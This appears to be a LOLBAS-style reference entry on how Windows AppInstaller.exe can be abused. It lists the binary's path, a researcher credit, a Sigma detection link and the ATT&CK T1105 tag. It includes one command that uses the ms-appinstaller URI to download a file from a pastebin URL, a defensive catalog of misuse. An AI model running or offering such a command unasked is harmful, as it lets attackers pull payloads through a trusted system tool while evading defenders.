

# .. /AppInstaller.exe

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Tool used for installation of AppX/MSIX applications on Windows 10

## Paths:

C:\Program

Files\WindowsApps\Microsoft.DesktopAppInstaller\_1.11.2521.0\_x64\_\_8wekyb3d8bbwe\AppInstaller.exe

## Resources:

- <https://twitter.com/notwhickey/status/1333900137232523264>

## Acknowledgements:

- Wade Hickey ([@notwhickey](#))

## Detections:

- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns\\_query/dns\\_query\\_win\\_lolbin\\_appinstaller.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml)

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AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

```
start ms-appinstaller:///source=https://pastebin.com/raw/tdyShwLw
```

**Use case:** Download file from Internet

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**Operating systems:** Windows 10, Windows 11

**ATT&CK® technique:** T1105

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